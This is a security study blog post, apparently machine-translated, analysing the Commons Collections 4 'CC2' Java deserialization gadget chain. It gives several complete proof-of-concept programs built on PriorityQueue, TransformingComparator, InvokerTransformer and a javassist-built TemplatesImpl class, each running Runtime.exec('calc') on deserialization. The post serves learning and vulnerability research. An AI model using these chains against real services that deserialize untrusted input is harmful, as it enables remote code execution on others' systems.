Java deserialization vulnerability - Apache Commons collections2 templatesimpl attack chain

Posted by mchip on Sun, 27 Feb 2022 17:27:06 +0100

preface

CC1 was analyzed earlier. Continue to learn today and analyze CC2. stay ysoserial In CC2, the PriorityQueue class is used as the entry of deserialization, so I'll analyze it from here.

Vulnerability mining

PriorityQueue

PriorityQueue priority queue is a special queue based on a priority heap. It defines "priority" for each element, so that the data will be retrieved according to the priority. By default, the priority queue sorts elements according to their natural order.

Therefore, the elements put into the PriorityQueue must implement the Comparable interface, and the PriorityQueue will determine the priority of the queue according to the sorting order of the elements. If the Comparable interface is not implemented, PriorityQueue also allows us to provide a Comparator object to determine the order of two elements.

PriorityQueue.readObject()


PriorityQueue. The readObject () method calls the heapify() method, and we continue to follow

PriorityQueue.heapify()


heapify() called the siftDown() method and continued to follow in.

PriorityQueue.siftDown()


When the comparator property is not empty, the siftDownUsingComparator() method is called

PriorityQueue.siftDownUsingComparator()


In the siftDownUsingComparator() method, the comparator's compare() method will be called to compare and sort priorities.

Next, let's see where the compare() method is implemented,

Here we choose / org / Apache / commons / collections4 / Comparators / transforming comparator java

TransformingComparator.compare()


Here we see the familiar this transformer. transform´╝î CC1 Transformer was also used before Transform(), then we just need to use the previously dug chain here. Let this Transformer = chain

Construction utilization chain

Let's take a look at this of the TransformingComparator class first Is the transformer controllable

It's not difficult to see from this that we just need to import it directly.

Then see the siftDown() function here

We need that the comparator is not empty, and here the comparator is controllable and can be passed in by the construction method of PriorityQueue

The last thing to note is the heapify() function here

Here, you need (size > > > 1) - 1 > = 0, that is, size > = 2

According to the above summary, it is easy for us to write and use chain code. We can see the mining ideas of chain CC1

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        TransformingComparator transformingComparator = new TransformingComparator(chain);

        PriorityQueue queue = new PriorityQueue(2, transformingComparator);
        queue.add(1);
        queue.add(2);

        ByteArrayOutputStream exp=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(exp);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois=new ObjectInputStream(out);
        Object obj=(Object) ois.readObject();

    }
}

Construction and improvement of utilization chain

Although the above code can pop up the calculator, but before debugging, I used breakpoints in the functions I used before, but I did not trigger breakpoints, including readobject() function. debug directly stopped at compare() function, which means that he did not follow the chain that we envisaged, and did not trigger anti serialization. This is what we do not allow.

According to the function call stack in the lower left corner, we can see that several functions it calls are not what we thought

After compare executes to return, the program stops directly, so our subsequent deserialization is not executed. According to the boss's article, the reason is that ProcessImpl reported an error because it did not implement Comparable, and the program terminated, so it did not execute the code that generates serialized data later. This is not allowed, so we need to see if there is any way to prevent other functions in the call stack from coming here


Here, we select the siftUp function. If the comparator is null, it will enter the siftUpComparable function, so that there will be no error. But through the previous analysis, we know that we use the chain of deserialization to make the comparator not null. How should we solve this problem? Reflection is thought of here. After adding two elements, set the comparator in the queue object to transforming comparator. Reflection is needed here.

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        TransformingComparator transformingComparator = new TransformingComparator(chain);

        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);

        Field comparator = queue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(queue,transformingComparator);

        ByteArrayOutputStream exp=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(exp);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois=new ObjectInputStream(out);
        Object obj=(Object) ois.readObject();

    }
}


Call chain is

PriorityQueue.readObject()
    TransformingComparator.compare()
        *ChainedTransformer.transform()
                InvokerTransformer.transform()

In addition, the above method is to make this in the compare() method Transformer = chain to trigger. Let's change our thinking and write a utilization method. Let's let this Transformer = invokertransformer is triggered in this way

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator =  new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        Field iParamTypes = transformer.getClass().getDeclaredField("iParamTypes");
        Field iArgs = transformer.getClass().getDeclaredField("iArgs");
        iMethodName.setAccessible(true);
        iParamTypes.setAccessible(true);
        iArgs.setAccessible(true);
        iMethodName.set(transformer,"transform");
        iParamTypes.set(transformer,new Class[]{Object.class});
        iArgs.set(transformer,new Object[]{null});

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{chain,2});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

com. sun. org. apache. xalan. internal. xsltc. trax. Templatesimpl (CC2 in ysoserial)

I'm using this chain Java deserialization vulnerability – fastjson-1.2.24 – TemplatesImpl attack chain After analysis, you can directly look at the POC structure in that article, which explains the use requirements

So here we need to write malicious code into the nonparametric constructor or static code block of the class, convert it into bytecode and assign it to_ bytecodes

Here we use javassist, which is a Java library that can modify bytecode.

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class Javassist_test {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();  // Get the class pool maintained by javassist
        CtClass cc = pool.makeClass("Test");  // Create an empty class Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore creates a static code block and inserts the code
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass change parent class
        byte[] classBytes = cc.toBytecode();  //toBytecode() gets the modified bytecode
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }

}

According to the previous analysis, we only need to write the malicious TemplatesImpl object into the queue of PriorityQueue through reflection, that is, use this malicious class to replace the above chain. Then find a location and call newTransformer to complete the whole attack.

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;



public class CC2_final {
    public static void main(String[] args) throws Exception{

        TemplatesImpl template = template();

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator =  new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{template,2});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
    public static TemplatesImpl template() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        return templates;
    }
}

This method is a bit similar to the second method above. The call chain is as follows

PriorityQueue.readObject()
    TransformingComparator.compare()
                InvokerTransformer.transform()
                    TemplatesImpl.newTransformer()

summary

The construction idea of CC2 is somewhat similar to that of CC1. CC2 uses the priority queue to prioritize the queue after deserialization, specifies the transforming comparator sorting method for it, and adds a Transforer to it. Similar to CC1, the main trigger location is InvokerTransformer.
This study records two ways of using CC2. CC2 in ysoserial needs additional knowledge javassist to construct. Javassist is a good knowledge point, and you can continue to learn later.

reference resources
https://su18.org/post/ysoserial-su18-2/#commonscollections2
https://www.cnblogs.com/depycode/p/13583102.html

Topics: Java Apache